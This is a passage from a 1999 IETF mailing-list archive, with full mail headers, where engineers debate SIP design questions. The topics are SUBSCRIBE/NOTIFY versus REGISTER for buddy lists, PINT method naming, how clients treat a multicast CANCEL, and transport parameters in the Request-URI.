the Request-URI in the Contact: field.  If there is no Contact: field in
the REGISTER, the message is overloaded to mean "please send me the list
of current registrations".

SUBSCRIBE -- this is a request to have the server send subsequent NOTIFY
requests to the server listed in the Contact: field. (If there is no
Contact: field, then the subsequent NOTIFYs are sent to the SIP URI in the
From: field). 

Although it did seem to me that one could distinguish these two meanings
by looking at the payload of the request, my understanding was that
Henning and Jonathan thought that the semantics were different enough to
merit two different requests. 

I have to admit that upon reflection, I thought that the poor REGISTER
message was far too oveloaded as it is -- sometimes it means "UNREGISTER",
and sometimes it means "don't register, but tell me all the current
registrations" (something I would have done with SUBSCRIBE and Expires:0,
by the way ;-)). So I agree with Henning and Jonathan that we need a
different request for SUBSCRIBE.

Bottom line -- I would not like to use REGISTER for any buddy-list
service. I would rather use a pure SUBSCRIBE/NOTIFY exchange.

Scott
 

On Wed, 30 Jun 1999, Adam B. Roach wrote:

> 
> I only just stumbled across the SGAP draft, and it seems an interesting
> (if somewhat un-SIP-ish) solution to this type of problem. If
> anyone has any related comments (especially other ideas for
> REGISTER notifications to clients), I'd be very interested in hearing
> them.
> 
> http://search.ietf.org/internet-drafts/draft-day-sgap-01.txt
> 
> -- 
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA
> 


From confctrl-owner  Wed Jun 30 08:29:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA25285
	for confctrl-outgoing; Wed, 30 Jun 1999 08:29:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA25280
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 08:29:46 -0700 (PDT)
Received: from auemlsrv.firewall.lucent.com (auemail1.lucent.com [192.11.223.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26779
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 08:29:46 -0700 (PDT)
Received: from holta.ho.lucent.com (h135-17-74-2.lucent.com [135.17.74.2])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id LAA27332
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 11:29:44 -0400 (EDT)
Received: by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id LAA23381; Wed, 30 Jun 1999 11:29:31 -0400
From: faynberg@lucent.com (Igor Faynberg)
To: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        lwc@roke.co.uk (Lawrence Conroy)
Received: by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id LAA23336; Wed, 30 Jun 1999 11:29:25 -0400
Date: Wed, 30 Jun 1999 11:29:25 -0400
Message-Id: <199906301529.LAA23336@holta.ho.lucent.com>
Original-From: igorf@holta.ho.lucent.com (Igor Faynberg)
Original-To: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        lwc@roke.co.uk (Lawrence Conroy)
Cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: PSTN Interworking Draft
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Adam Roach wrote:

>                                                                                
To avoid further confusion, reference to the other two other                    
drafts should be made, with a note that neither are sufficient                  
for the purposes of DTMF information transmission. The 01 version               
of my draft will reflect these changes.                                         
                                                                                >

Adam, 

Thank you for your understanding and for quick reaction to Lawrence's
note.  I think you correctly point out that the key-words are overloaded;
I think a solution to that is simply to use keywords that are different
than the ones that have been spoken for already.  The matter of fact is
that SUBSCRIBE/NOTIFY statements that have already been agreed on as
SIP extensions for PINT do have specific semantics, including the sequnces
in which they appear.

If you believe that the same mechanisms can be used elsewhere to do 
something else (i.e., DTMF transmission), you should ensure that whatever
solution you propose is backward compatible. If you believe that the
mechanisms may not be used (which is what I believe you are saying), the
best thing would be to use different names. For example, in the case of
DTMF, it would perhaps be appropriate to use DTMF-SUBSCRIBE, DTMF-NOTIFY.

I reailize that my proposal may be controversial. Ever since Unix shell
was introduced, some people thought it was great to have ONE shell script
with hundreds of parameters covering ALL possible cases. Others argued
that remembering such parameters and--especially--remembering the combinations
of them that correspond to one or another specific usage is impossible and
to learn the usages is very hard. It would much better to have several
different shell procedures, each having its own set of necessary and
sufficient parameters. This makes both the design and use unambigous. If
you change something, you know that the impact of your change is localized.

So, Lawrence and I do belong to this "don't overload" club, and we heartly
welcome you to join it!

Respectfully,

Igor Faynberg


From confctrl-owner  Wed Jun 30 08:57:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26644
	for confctrl-outgoing; Wed, 30 Jun 1999 08:57:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26639
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 08:57:54 -0700 (PDT)
Received: from smtp1-alterdial.uu.net (alterdial.UU.NET [192.48.96.22])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA00592
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 08:57:53 -0700 (PDT)
Received: from dynamicsoft.com by smtp1-alterdial.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQgvvz25869
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 15:57:54 GMT
Message-ID: <377A3E7E.3B25F999@dynamicsoft.com>
Date: Wed, 30 Jun 1999 11:57:50 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Question on multicast for SIP
Content-Type: multipart/alternative;
 boundary="------------C31CC5A9D953981743AC71CD"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------C31CC5A9D953981743AC71CD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hi all,

I have a question on multicast for SIP. In section 10.2.2 of SIP RFC
2543, it says following:


>>>>>>>

"Servers do not respond to CANCEL requests received via multicast to
avoid request implosion. A proxy or UAC SHOULD send a CANCEL on
receiving the first 2xx or 6xx response to a multicast request.

........... The CANCEL, instead provides a simpler and more standard way
to perform response suppression. It is for this reason that the use of
CANCEL here is a SHOULD".

<<<<<<<


Let's say client A sends a unicast SIP request (INVITE), and it is
received by proxy P. Proxy P sends that request to multicast address,
and it is received by proxy P and clients B, C and D. Client B sends a
200 OK response, and proxy P and clients B, C and D will receive this
response. Proxy P will send a CANCEL, and it will be received by proxy P
and clients B, C and D.

How should client B, C and D treat that CANCEL request?

How does the CANCEL sent by proxy P (in this case) differ from CANCEL of
a INVITE sent by client A (in general)?


- Vipul.  :-)

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------C31CC5A9D953981743AC71CD
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Hi all,
<p>I have a question on multicast for SIP. In section 10.2.2 of SIP RFC
2543, it says following:
<br>&nbsp;
<p>>>>>>>>
<p><font color="#000000">"Servers do not respond to CANCEL requests received
via multicast to avoid request implosion. A proxy or UAC SHOULD&nbsp;send
a CANCEL on receiving the first 2xx or 6xx response to a multicast request.</font><font color="#000000"></font>
<p><font color="#000000">........... The CANCEL, instead provides a simpler
and more standard way to perform response suppression. It is for this reason
that the use of CANCEL here is a SHOULD".</font><font color="#000000"></font>
<p><font color="#000000">&lt;&lt;&lt;&lt;&lt;&lt;&lt;</font>
<br><font color="#000000"></font>&nbsp;
<p>Let's say client A sends a unicast SIP request (INVITE), and it is received
by proxy P. Proxy P sends that request to multicast address, and it is
received by proxy P and clients B, C and D. Client B sends a 200 OK response,
and proxy P and clients B, C and D will receive this response. Proxy P
will send a CANCEL, and it will be received by proxy P and clients B, C
and D.<b></b>
<p>How should client B, C and D treat that CANCEL request?
<p>How does the CANCEL sent by proxy P (in this case) differ from CANCEL
of a INVITE sent by client A (in general)?
<br>&nbsp;
<p>- Vipul.&nbsp; :-)
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------C31CC5A9D953981743AC71CD--


From confctrl-owner  Wed Jun 30 09:31:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28411
	for confctrl-outgoing; Wed, 30 Jun 1999 09:31:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28402
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 09:31:11 -0700 (PDT)
Received: from ihemlsrv.firewall.lucent.com (ihemail1.lucent.com [192.11.222.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA03973
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 09:31:10 -0700 (PDT)
Received: from holta.ho.lucent.com (h135-17-74-2.lucent.com [135.17.74.2])
	by ihemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id MAA07277
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 12:31:06 -0400 (EDT)
Received: by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id MAA06092; Wed, 30 Jun 1999 12:30:49 -0400
Cc: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Lawrence Conroy <lwc@roke.co.uk>, confctrl@ISI.EDU,
        pint@lists.research.bell-labs.com
Received: from lucent.com by holta.ho.lucent.com (SMI-8.6/EMS-1.4.1 sol2)
	id MAA06017; Wed, 30 Jun 1999 12:30:43 -0400
Message-ID: <377A4631.25D8ED4E@lucent.com>
Date: Wed, 30 Jun 1999 12:30:41 -0400
From: Igor Faynberg <faynberg@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.06 [en]C-EMS-1.4  (Win95; U)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
Original-CC: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Lawrence Conroy <lwc@roke.co.uk>, confctrl@isi.edu,
        pint@lists.research.bell-labs.com
Subject: Re: PSTN Interworking Draft
References: <199906301529.LAA23336@holta.ho.lucent.com> <377A39A0.2617CDC1@cs.columbia.edu>
Content-Type: multipart/mixed; boundary="------------2289803AA08C015C5673AD86"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------2289803AA08C015C5673AD86
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

There is going to be a new draft soon, but this will beef up only the security
section. (It is likely to come right after the IETF meeting, with the intention
of going for the last call.) As far as SUBSCRIBE/NOTIFY mechanism is concerned,
it has been much discussed and virtually unchanged for a while.

[For reference: The PINT SUBSCRIBE/NOTIFY mechanism was discussed at the last
PINT meeting (in Florida) at length, and it was agreed that PINT needed those
mechanisms as presented, and that they were not part of SIP specification then.]

So, to follow Henning's call, please take a look at the latest draft 
on the PINT page. Henning is absolutely right in that the discussion of any
topic can be reopened (although, based on the stability of the material a few of
us have proceeded with the implementations...)

Igor

Henning Schulzrinne wrote:
> 
>...It would be useful if people
> take a look at PINT to see if it fits a reasonable, generalizable
> subscription model. If not, PINT should be changed before it's too late.
> 
>
--------------2289803AA08C015C5673AD86
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Igor  Faynberg
Content-Disposition: attachment; filename="vcard.vcf"

begin:          vcard
fn:             Igor  Faynberg
n:              Faynberg;Igor 
org:            Lucent Technologies
email;internet: faynberg@lucent.com
title:          Distinguished Member of Technical Staff
x-mozilla-cpt:  ;0
x-mozilla-html: FALSE
version:        2.1
end:            vcard


--------------2289803AA08C015C5673AD86--


From confctrl-owner  Wed Jun 30 13:52:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA10390
	for confctrl-outgoing; Wed, 30 Jun 1999 13:52:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10385
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 13:52:15 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA02729
	for <confctrl@ISI.EDU>; Wed, 30 Jun 1999 13:52:13 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id PAA14071;
	Wed, 30 Jun 1999 15:51:37 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id PAA14003;
	Wed, 30 Jun 1999 15:51:37 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA15595; Wed, 30 Jun 1999 15:51:35 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id PAA00979;
	Wed, 30 Jun 1999 15:51:34 -0500 (CDT)
Date: Wed, 30 Jun 1999 15:51:34 -0500 (CDT)
Message-Id: <199906302051.PAA00979@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: Question on multicast for SIP
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Hi all,
> 
> I have a question on multicast for SIP. In section 10.2.2 of SIP RFC
> 2543, it says following:
> 
> >>>>>>>
> 
> "Servers do not respond to CANCEL requests received via multicast to
> avoid request implosion. A proxy or UAC SHOULD send a CANCEL on
> receiving the first 2xx or 6xx response to a multicast request.
> 
> ........... The CANCEL, instead provides a simpler and more standard way
> to perform response suppression. It is for this reason that the use of
> CANCEL here is a SHOULD".
> 
> <<<<<<<
> 
> 
> Let's say client A sends a unicast SIP request (INVITE), and it is
> received by proxy P. Proxy P sends that request to multicast address,
> and it is received by proxy P and clients B, C and D. Client B sends a
> 200 OK response, and proxy P and clients B, C and D will receive this
> response. Proxy P will send a CANCEL, and it will be received by proxy P
> and clients B, C and D.
> 
> How should client B, C and D treat that CANCEL request?
> 

First, I would recommend that you configure your multicast socket so that
the sender does NOT receive a copy of the packets that it sends out. 

For unicast, I believe client B would send a "481" since the transaction that
the CANCEL was sent for no longer exists for B (it has sent a final response;
the ACK is not part of the INVITE transaction)

For multicast I believe it would be appropriate for client B to silently
discard any CANCEL received via multicast. Either way, the call at client B
is not affected. This should be clarified in the spec.

For clients C and D, they should return a 200 response to the CANCEL
(distinguished by the method in the CSeq)


> How does the CANCEL sent by proxy P (in this case) differ from CANCEL of
> a INVITE sent by client A (in general)?
> 

For clients B,C, and D it doesn't. The CANCEL will have the same To,From,
Call-Id, and CSeq whether sent by the proxy P or the client A. The main
difference will be in the Via headers. But behaviorally it should be treated
identically.

> - Vipul.  :-)
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com
> 
> 

From confctrl-owner  Wed Jun 30 19:40:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA23308
	for confctrl-outgoing; Wed, 30 Jun 1999 19:40:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA23303
	for <confctrl@zephyr.isi.edu>; Wed, 30 Jun 1999 19:40:12 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA03143
	for <confctrl@isi.edu>; Wed, 30 Jun 1999 19:40:08 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Jun 30 22:39:31 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA14615;
	Wed, 30 Jun 1999 22:39:30 -0400 (EDT)
Message-ID: <377AD197.FD6CEBF5@dnrc.bell-labs.com>
Date: Wed, 30 Jun 1999 22:25:27 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: Question on multicast for SIP
References: <199906302051.PAA00979@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 

> > Let's say client A sends a unicast SIP request (INVITE), and it is
> > received by proxy P. Proxy P sends that request to multicast address,
> > and it is received by proxy P and clients B, C and D. Client B sends a
> > 200 OK response, and proxy P and clients B, C and D will receive this
> > response. Proxy P will send a CANCEL, and it will be received by proxy P
> > and clients B, C and D.
> >
> > How should client B, C and D treat that CANCEL request?
> >
> 
> First, I would recommend that you configure your multicast socket so that
> the sender does NOT receive a copy of the packets that it sends out.
> 
> For unicast, I believe client B would send a "481" since the transaction that
> the CANCEL was sent for no longer exists for B (it has sent a final response;
> the ACK is not part of the INVITE transaction)

Well, it will probably be waiting for the ACK and thus does know about
the transaction, so it could send a 200. Doesn't matter.

> 
> For multicast I believe it would be appropriate for client B to silently
> discard any CANCEL received via multicast. Either way, the call at client B
> is not affected. This should be clarified in the spec.
> 
> For clients C and D, they should return a 200 response to the CANCEL
> (distinguished by the method in the CSeq)

This leads to an implosion for large numbers of receivers. The spec
doesn't say it, but it might be a good idea for multicast CANCELs to not
be responded to. Of course, this means the proxy has no way of knowing
if the CANCEL was received. We could either just follow current
operation, and let it get retransmitted a few times (eventually it will
give up), or specify some small number of times to be used for multicast
CANCEL only. It would be a good thing if the behavior wasn't different
from unicast in terms of retransmissions, but its a lot of packets (11).

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Thu Jul  1 02:39:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA06859
	for confctrl-outgoing; Thu, 1 Jul 1999 02:39:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA06854
	for <confctrl@zephyr.isi.edu>; Thu, 1 Jul 1999 02:39:17 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA17130
	for <confctrl@ISI.EDU>; Thu, 1 Jul 1999 02:39:17 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id CAA04289;
	Thu, 1 Jul 1999 02:39:13 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id KAA12482;
	Thu, 1 Jul 1999 10:39:12 +0100 (BST)
Message-ID: <377B373F.431F2B94@hplb.hpl.hp.com>
Date: Thu, 01 Jul 1999 10:39:11 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Sean Olson <eussean@exu.ericsson.se>, confctrl@ISI.EDU,
        vpatel@dynamicsoft.com
Subject: Re: Question on multicast for SIP
References: <199906302051.PAA00979@b04a45.exu.ericsson.se> <377AD197.FD6CEBF5@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan Rosenberg wrote:
> 
> Sean Olson wrote:
> >
> 
> > > Let's say client A sends a unicast SIP request (INVITE), and it is
> > > received by proxy P. Proxy P sends that request to multicast address,
> > > and it is received by proxy P and clients B, C and D. Client B sends a
> > > 200 OK response, and proxy P and clients B, C and D will receive this
> > > response. Proxy P will send a CANCEL, and it will be received by proxy P
> > > and clients B, C and D.
> > >
> > > How should client B, C and D treat that CANCEL request?

B should ignore it and C and D should terminate processing of the
request. Noone should respond.

> > >
> >
> > First, I would recommend that you configure your multicast socket so that
> > the sender does NOT receive a copy of the packets that it sends out.
> >
> > For unicast, I believe client B would send a "481" since the transaction that
> > the CANCEL was sent for no longer exists for B (it has sent a final response;
> > the ACK is not part of the INVITE transaction)
> 
> Well, it will probably be waiting for the ACK and thus does know about
> the transaction, so it could send a 200. Doesn't matter.
> 
> >
> > For multicast I believe it would be appropriate for client B to silently
> > discard any CANCEL received via multicast. Either way, the call at client B
> > is not affected. This should be clarified in the spec.
> >
> > For clients C and D, they should return a 200 response to the CANCEL
> > (distinguished by the method in the CSeq)
> 
> This leads to an implosion for large numbers of receivers. The spec
> doesn't say it, but it might be a good idea for multicast CANCELs to not
> be responded to.

The spec does say it, actually. Requoted from Vipuls original email:

  "Servers do not respond to CANCEL requests received via multicast
  to avoid request implosion." [10.2.2]

> Of course, this means the proxy has no way of knowing
> if the CANCEL was received. We could either just follow current
> operation, and let it get retransmitted a few times (eventually it will
> give up), or specify some small number of times to be used for multicast
> CANCEL only. It would be a good thing if the behavior wasn't different
> from unicast in terms of retransmissions, but its a lot of packets (11).
> 

It seems wrong to retransmit when no response is expected. How about
sending the CANCEL just once and hope for the best. Multicast is
probably not going to be used on a wide-area scale anyway. And a good
proxy might want to listen in on other receivers multicast responses
too, which gives it an extra shot at terminating its own request
processing.

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Jul  2 00:22:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA29120
	for confctrl-outgoing; Fri, 2 Jul 1999 00:22:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA29115
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jul 1999 00:22:10 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28513
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 00:22:09 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id JAA22139;
	Fri, 2 Jul 1999 09:22:08 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id KAA18874; Fri, 2 Jul 1999 10:21:35 +0300 (EET DST)
Message-ID: <377C6874.23859320@ericsson.com>
Date: Fri, 02 Jul 1999 10:21:24 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: mmusic <confctrl@ISI.EDU>, Ricky Project <Ricky@lmf.ericsson.se>
Subject: Request-URI
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

Section 1.4.2 of the SIP RFC:
"If the Request-URI specifies a protocol (TCP or UDP), the client..."

At the end of the section 2, the transport-param (UDP or TCP) seems to
be forbidden for a Req-URI ( table 2 ).

How's that?

Regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Fri Jul  2 08:17:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA15838
	for confctrl-outgoing; Fri, 2 Jul 1999 08:17:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA15830
	for <confctrl@zephyr.isi.edu>; Fri, 2 Jul 1999 08:17:04 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14156
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 08:17:03 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA13359
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 10:16:32 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA06487
	for <confctrl@ISI.EDU>; Fri, 2 Jul 1999 10:16:30 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA01897; Fri, 2 Jul 1999 10:16:31 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id KAA09178;
	Fri, 2 Jul 1999 10:16:30 -0500 (CDT)
Date: Fri, 2 Jul 1999 10:16:30 -0500 (CDT)
Message-Id: <199907021516.KAA09178@b04a45.exu.ericsson.se>
To: Gonzalo.Camarillo@ericsson.com
Subject: Re: Request-URI
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Hi,
> 
> Section 1.4.2 of the SIP RFC:
> "If the Request-URI specifies a protocol (TCP or UDP), the client..."
> 
> At the end of the section 2, the transport-param (UDP or TCP) seems to
> be forbidden for a Req-URI ( table 2 ).
> 
> How's that?
> 

It SEEMS like a good idea to allow the transport-param in the Request-URI
as this information is allowed in the Contact: header of a REGISTER. This
of course allows a UAS to specify that it only provides UDP or only TCP
or has a definite preference for one of the two. The problem as I see it
is the propagation of this information through a chain of proxies, particularly
if one or more of those proxies has a different preference than the UAS
you are ultimately trying to contact. The transport-param really should only
apply to the last proxy in the chain, but how do you specify this? Also,
should a proxy be allowed to re-write the transport-param? (It has to)
(The transport-param is a hop-by-hop indication(?), but the Contact: info is
 really only a last hop indication(?))


For example, consider a UAS that only supports TCP, located behind a 
firewall proxy that only supports UDP. What should the Request-URI look like?
For that matter, what should the Contact: look like in the registration?



> Regards,
> 
> Gonzalo
> -- 
> Gonzalo Camarillo         Phone :  +358  9 299 33 71
> Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
> Telecom R&D               Fax   :  +358  9 299 31 18
> FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
> Finland
> 

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Fri Jul  2 08:42:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
